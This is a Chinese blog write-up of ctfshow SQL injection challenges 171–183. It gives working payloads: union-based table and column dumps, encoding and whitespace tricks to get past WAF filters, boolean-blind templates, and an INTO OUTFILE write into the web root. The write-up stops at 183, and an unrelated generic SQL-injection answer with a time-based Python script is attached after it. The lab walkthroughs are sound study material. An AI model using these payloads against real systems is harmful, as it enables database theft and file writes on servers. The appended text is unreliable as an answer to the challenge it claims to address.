CTFSHOW-WEB入门SQL注入部分(大概是长期更新)

本文分享了作者在解决一系列CTF比赛中的SQL注入题目的过程,包括基础SQL注入手法、使用不同编码方式绕过WAF、利用文件写入及特殊字符绕过等技巧,并附有具体案例解析。


不一定会所有题都放上来(懒) 但是我尽量

0x01 web 171

在这里插入图片描述
总算是开始刷sql注入题了 之前学了 但是没写几题 也算个纯萌新了 所以基础题会细一点 也为了加强自己记忆在这里插入图片描述
1,2,3都能回显 继续直接爆表名

1'union select 1,2,table_name from information_schema.tables where table_schema=database() --+

在这里插入图片描述
直接爆字段 记得ctfshow_user要加'' 我试了半天不知道哪出问题 还得去翻Y4大佬的博客才发现问题 tcl

1' union select 1,2,column_name from information_schema.columns where table_name='ctfshow_user'  --+

在这里插入图片描述
然后就拿到了

1' union select id,username,password from ctfshow_user --+

0x02 web172

先放个撸猫界面源码里的注释
在这里插入图片描述
然后看题 发现已经给了表名ctfshow_user2

我自己的莫名其妙方法

随便试试回显在这里插入图片描述
然后 我好像莫名其妙干出来了
1' union select 1,password from ctfshow_user2 --+ 直接出了 但是
1' union select username,password from ctfshow_user2 --+出不来
应该是按照题目给的 username叫flag 所以查询语句查不出 但是直接干password就行

下来是Y4大佬的解法

不能有flag字段 所以尝试用编码 这里大佬用的是base64和hex
-1' union select to_base64(username),hex(password) from ctfshow_user2 --+ 然后拿最后一行解码 拿到flag
Y4👴tql

0x03 web173

同上

0x04 web174(已补)

先前因为脚本水平太辣了 导致跳过了本题 后来看了各路大佬的脚本之后 就尝试写了一下脚本 这里就不贴了 跑了2分钟才出答案的脚本实在太垃圾了 算了 放一条脚本中爆破的那句话 懂了原理 你也就会写脚本了(这是payload 也就是在sql查询中的语句 他的if语句是true返回第一个 错了返回第二个)

?id=' union select 'a',if(ascii(substr((select group_concat(password) from ctfshow_user4 where username='flag'),%d,1))<%d,'nice','dddd') -- -"%(i,j)

0x05 web 175

1' union select 1,password from ctfshow_user5 into outfile '/var/www/html/1.txt'-- 

写进目录 访问即可

0x06 web176

不知道waf是啥 就猜 发现union select不行 然后夏姬八试 发现好像是过滤了select 这里可以直接利用大小写过滤

1' union Select 1,password,3 from ctfshow_user --+

然后从Y4👴的blog里面发现 可以直接万能密码1' or 1=1--+ 我还是tcl

0x07 web177-179(久违的更新 摸鱼人回来补题辣)

177-178
大概过滤了空格和注释 用url编码绕了 万能语句通杀
1'or%091=1%23

179
emmmm 可能是群主的waf少加了一个%0c?

1'or%0c1=1%23

顺便在别人的博客发现 原来万能密码可以不用空格也行 feng师傅tql
顺便atao师傅tql(偌大的ctfshow竟然只有我是fw)

1'or'1'='1'%23

0x08 web 180-182

似乎是%23被过滤掉了 至于为什么payload是id=26 我也没明白
因为到22开始就没有回显了 为什么不猜22呢

(后来看到有大佬用burp跑出来的26

首先是群主的payload(第一个单引号前需要输入一个没有的数)
180181通杀

111'or(id=26)and'1'='1

原理是看了feng师傅的博客
通过上面给的查询语句来构造

1.where username !='flag' and id = ''or(id=26)and'1'='1' limit 1;";
 and优先级>or也就是
2.(username !='flag' and id = '')  or  (id=26and'1'='1')

where输出的是1那条 所以出来了(我还是tcl)
然后还有一种就是

-1'||id='26'||'   这个语句大伙把他带入搜索语句里面就懂了

0x09 web183

首先看博客学习regexp()

提供的参考引用中未包含ctfshow平台web入门第184题SQL注入的相关内容,所以无法根据引用提供该题的解题方法。不过一般CTFSQL注入题的常见解题步骤如下: ### 1. 确认注入点 通过构造特殊的输入,如单引号 `'`、双引号 `"`、括号 `()` 等,观察页面返回的错误信息或页面变化,以此判断是否存在注入点。例如,在输入框输入 `'` 后,如果页面出现SQL错误提示,那么很可能存在注入点。 ### 2. 判断注入类型 常见的注入类型有数字型、字符型、布尔型、时间型等。 - 数字型注入:在URL参数或表单输入中直接输入数字,可通过增减数字或构造简单的数学运算(如 `1+1`)来判断。 - 字符型注入:输入需要用引号包裹,如 `' or 1=1 --`。 - 布尔型注入:通过构造条件语句,根据页面返回的不同结果(如页面正常显示或报错)来判断条件是否成立。 - 时间型注入:当页面没有明显的错误信息或不同结果显示时,可通过构造 `sleep()` 等函数来判断,若页面响应时间明显变长,则存在时间型注入。 ### 3. 确定列数 使用 `order by` 语句来确定查询结果的列数。例如,输入 `' order by 3 --`,若页面正常显示,而输入 `' order by 4 --` 页面报错,则说明查询结果有3列。 ### 4. 联合查询 在确定列数后,使用 `union select` 语句进行联合查询。例如,若确定列数为3,则可输入 `' union select 1,2,3 --`,若页面能正常显示 `1`、`2`、`3` 的值,说明可以通过联合查询获取更多信息。 ### 5. 获取数据库信息 - 查询数据库名:`' union select 1,database(),3 --` - 查询表名:`' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --` - 查询列名:`' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='表名' --` ### 6. 获取数据 在知道表名和列名后,就可以获取具体的数据。例如:`' union select 1,2,列名 from 表名 --` 以下是一个简单的Python脚本示例,用于时间型注入判断: ```python import requests import time url = "http://example.com/search.php" payload_true = "?keyword=' or sleep(5) --" payload_false = "?keyword=' or sleep(0) --" start_true = time.time() requests.get(url + payload_true) end_true = time.time() time_true = end_true - start_true start_false = time.time() requests.get(url + payload_false) end_false = time.time() time_false = end_false - start_false if time_true - time_false > 4: print("存在时间型SQL注入") else: print("未发现时间型SQL注入") ```
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值